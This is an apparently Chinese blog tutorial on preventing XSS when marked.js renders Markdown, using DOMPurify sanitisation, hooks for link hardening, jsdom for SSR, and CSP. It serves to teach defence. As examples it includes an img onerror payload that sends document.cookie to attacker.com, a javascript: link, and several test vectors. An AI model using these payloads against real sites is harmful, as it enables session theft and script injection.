marked.js 怎么防止 XSS 攻击?配合 DOMPurify 清洗 HTML 的最佳实践

作者:沉舟

时间:2026-10-30

浏览:158

深入解析 marked.js 渲染 Markdown 导致 XSS 跨站脚本攻击的根本原因,详细讲解配合 DOMPurify 净化 HTML 的最佳实践方案,覆盖浏览器客户端、Node.js SSR 服务端配置与外链安全加固。

文章目录
主题:Web 安全与 Markdown 解析 核心工具:marked.js / DOMPurify 运行环境:Browser / Node.js SSR
核心答案与实践路径:marked.js 是纯粹的 Markdown 语法编译器,设计上不负责任何 HTML 过滤与安全防护。若直接将 marked 解析出的原始 HTML 挂载至 innerHTML,将为跨站脚本(XSS)攻击敞开大门。彻底防止 XSS 的业界标准方案是分工明确的流水线架构:先由 marked.parse() 完成语法转译,紧接着由经过严密安全审查的白名单库 DOMPurify 介入对 HTML 字符串进行深度清洗,最后才将安全结果呈现给用户。

一、为什么 marked.js 无法单独抵御 XSS 攻击?

很多开发者在初次使用 marked.js 时容易产生一个误解,认为 Markdown 解析器会像模板引擎那样默认对标签进行实体转义。然而,根据 CommonMark 与 GitHub Flavored Markdown (GFM) 规范,Markdown 规范天然允许直接嵌入原生 HTML 标签。

这意味着,任何包含在 Markdown 源码中的 HTML 标签都会被 marked.js 原封不动地传递到输出的 HTML 字符串中。例如以下常见输入:

# 用户留言标题
这是一段正文,包含恶意代码:
<img src="x" onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)">
<a href="javascript:alert(document.domain)">点击查看详情</a>

当调用 marked.parse(input) 时,上述 <img onerror> 和带有 javascript: 伪协议的链接将被完整保留。如果直接执行 container.innerHTML = rawHtml,浏览器在解析并渲染 DOM 的瞬间就会自动触发 onerror 脚本或诱导用户点击恶意链接,导致会话 Cookie 被盗取、DOM 被篡改等严重后果。

历史误区提醒:sanitize: true 为什么被废弃?
早期版本的 marked.js 曾提供过 sanitize: true 配置项。但官方团队早已将其废弃并在后续版本中彻底移除。原因在于:Markdown 解析器的专长在于词法分析与 AST 构建,依靠简单的正则表达式替换或字符转义无法应对突变型 XSS(mXSS)以及浏览器解析引擎特有的容错变形机制。marked.js 官方明确建议将安全过滤工作委托给专用的净化库 DOMPurify。
marked.js 怎么防止 XSS 攻击?配合 DOMPurify 清洗 HTML 的最佳实践
图 1:XSS 风险传播与 DOMPurify 净化链路原理对比

二、浏览器端集成方案:标准清洗流水线

在前端单页应用(SPA)或普通 Web 页面中,防范 XSS 的标准写法非常直接。我们先安装依赖:

npm install marked dompurify

如果使用 CDN 或纯 HTML 页面,可通过 script 标签引入:

<script src="https://cdn.jsdelivr.net/npm/marked/marked.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/dompurify/dist/purify.min.js"></script>

1. 基础两步清洗法

核心原则是坚决不让未过滤的 HTML 接触 DOM 树。编写一个通用的安全渲染函数:

import { marked } from 'marked';
import DOMPurify from 'dompurify';

/**
 * 将不可信 Markdown 渲染为安全的 HTML 字符串
 * @param {string} markdownContent 
 * @returns {string} 经过白名单过滤的安全 HTML
 */
export function renderSafeMarkdown(markdownContent) {
  if (!markdownContent || typeof markdownContent !== 'string') {
    return '';
  }

  // 第一步:语法编译,产出原始 HTML(此时仍可能含注入脚本)
  const rawHtml = marked.parse(markdownContent);

  // 第二步:使用 DOMPurify 执行白名单深度过滤
  const cleanHtml = DOMPurify.sanitize(rawHtml);

  return cleanHtml;
}

// 挂载到页面 DOM
const outputContainer = document.getElementById('preview-container');
outputContainer.innerHTML = renderSafeMarkdown(userMarkdownInput);
marked.js 怎么防止 XSS 攻击?配合 DOMPurify 清洗 HTML 的最佳实践
图 2:Markdown 内容安全清洗与渲染流水线(四步执行法)

2. 关键进阶:外链安全与 Hook 增强

虽然 DOMPurify 默认会自动过滤掉 javascript: 伪协议链接,但在 Markdown 渲染场景中,经常需要将外链设置为新窗口打开(target="_blank")。若仅仅设置 target="_blank" 而不添加 rel="noopener noreferrer",外部页面可以通过 window.opener 对象篡改来源页面,引发反向 Tabnabbing 钓鱼风险。

DOMPurify 提供了强大的生命周期钩子(Hooks),可以在属性清洗阶段自动为超链接补全安全标记:

import DOMPurify from 'dompurify';

// 注册 afterSanitizeAttributes 钩子
DOMPurify.addHook('afterSanitizeAttributes', function(node) {
  // 检查是否为 a 标签且包含 href
  if (node.tagName === 'A' && node.hasAttribute('href')) {
    const href = node.getAttribute('href');
    
    // 如果是外链(以 http/https 开头)
    if (/^https?:\/\/\/i.test(href)) {
      node.setAttribute('target', '_blank');
      // 必须同时配置 noopener 与 noreferrer 防止父窗口劫持
      node.setAttribute('rel', 'noopener noreferrer');
    }
  }
});

3. 自定义白名单规则

对于权限要求更严密的业务场景(例如仅允许基础文本排版,禁止用户插入图片或表格),可以通过 DOMPurify 配置项收窄标签与属性白名单:

const strictCleanHtml = DOMPurify.sanitize(rawHtml, {
  // 仅允许基础文本排版标签
  ALLOWED_TAGS: ['p', 'b', 'strong', 'i', 'em', 'h1', 'h2', 'h3', 'ul', 'ol', 'li', 'code', 'pre', 'blockquote', 'a'],
  // 仅允许超链接的 href 属性
  ALLOWED_ATTR: ['href', 'target', 'rel'],
  // 强制禁止 data: 协议图片(防止过大 Base64 占用内存或潜在载荷)
  ALLOW_DATA_ATTR: false
});

三、服务端渲染(SSR)与 Node.js 场景适配

在基于 Next.js、Nuxt、Express 等服务端渲染架构中,由于 Node.js 运行环境没有原生全局的 window 和 document,直接引入 dompurify 默认入口会导致 window is undefined 异常。

1. 引入 jsdom 虚拟环境

DOMPurify 针对 Node.js 提供了工厂函数支持。推荐配合 jsdom 建立虚拟窗口实例:

npm install jsdom

标准服务端过滤模块实现如下:

import { JSDOM } from 'jsdom';
import createDOMPurify from 'dompurify';
import { marked } from 'marked';

// 创建单例 window 实例(请勿在请求处理函数内频繁 new JSDOM)
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

export function sanitizeMarkdownServerSide(markdownString) {
  const rawHtml = marked.parse(markdownString);
  return DOMPurify.sanitize(rawHtml);
}
SSR 性能关键优化:单例模式复用
new JSDOM() 初始化需要构建完整的虚拟 DOM 树与上下文环境,开销较高。在服务端高并发场景下,如果为每一个渲染请求重复实例化 JSDOM,会导致 CPU 使用率飙升与吞吐量剧降。正确的做法是在应用启动阶段初始化一次单例 createDOMPurify(window),在所有请求间安全复用。
marked.js 怎么防止 XSS 攻击?配合 DOMPurify 清洗 HTML 的最佳实践
图 3:DOMPurify 运行架构对比:浏览器客户端 (CSR) vs 服务端 (SSR)

四、代码高亮等插件与 DOMPurify 的协同顺序

在实际技术博客或文档系统中,Markdown 通常需要搭配代码高亮库(如 highlight.js 或 Prism.js)。此时处理时序至关重要:

  1. 错误时序:清洗原始 Markdown ➔ 传给 marked。这种做法完全无效,因为 DOMPurify 针对的是 HTML 树结构,对 Markdown 语法字符无效。
  2. 推荐时序 A(服务端/静态预渲染): 在 marked 配置中使用扩展(如 marked-highlight),marked 会在生成 HTML 时将代码块包裹为 <pre><code class="hljs language-javascript">...</code></pre>。此时将结果送入 DOMPurify,DOMPurify 默认允许 pre、code 以及合法的 class 属性,高亮样式得以完好保留。
  3. 推荐时序 B(客户端按需高亮): marked 转译 ➔ DOMPurify 清洗 ➔ 写入 DOM ➔ 调用 hljs.highlightAll() 针对已上屏的代码块进行就地高亮。这种时序最稳健,完全隔离了渲染与安全校验逻辑。

五、安全效果对照与验证测试

为验证 marked.js + DOMPurify 流水线的防御可靠性,可参考以下典型测试向量对照表:

输入 Markdown 样本 未清洗 (直接 marked 渲染) 配合 DOMPurify 清洗后结果
<script>alert(1)</script> 脚本执行 原生注入 安全 <script> 标签及内部代码被完全剥离
<img src="x" onerror="evil()"> 脚本执行 图片加载失败立即触发 安全 保留 <img src="x">,onerror 属性被精准切除
[点击领取](javascript:steal()) 诱导点击 链接触发 JS 伪协议 安全 移除非法 href,或直接丢弃危险伪协议
<iframe src="//evil.com"> 界面劫持 嵌入外部钓鱼框架 安全 <iframe> 默认不在白名单内,自动剔除
marked.js 怎么防止 XSS 攻击?配合 DOMPurify 清洗 HTML 的最佳实践
图 4:marked.js + DOMPurify 生产环境安全防御矩阵总结

六、纵深防御总结清单

要构建工业级健壮的 Markdown 渲染系统,除遵循本文的集成规范外,建议将以下措施列入上线核验清单:

  • 永远执行净化流水线:遵循 Markdown ➔ marked.parse() ➔ DOMPurify.sanitize() ➔ DOM 的单向管道,禁止任何未过滤字符串流入 innerHTML 或 v-html / dangerouslySetInnerHTML。
  • 配置内容安全策略(CSP):在 HTTP 响应头中配置严格的 CSP(例如 default-src 'self'; script-src 'self'; object-src 'none';),禁用 unsafe-inline,即使发生漏网之鱼,浏览器也会在底层拒绝执行内联脚本。
  • 保持 DOMPurify 定期升级:安全攻防是动态演进的,新型 mXSS 语法会利用特定浏览器版本的 DOM 解析怪异特性尝试绕过,保持 DOMPurify 处于最新稳定版是抵御新漏洞的关键。

实用工具推荐

电子包浆

绿化、压缩、噪点和虚拟水印,自由调节做旧程度。

使用 ›
图片压缩

选择画质和输出格式,预览压缩前后的大小。

使用 ›
相关文章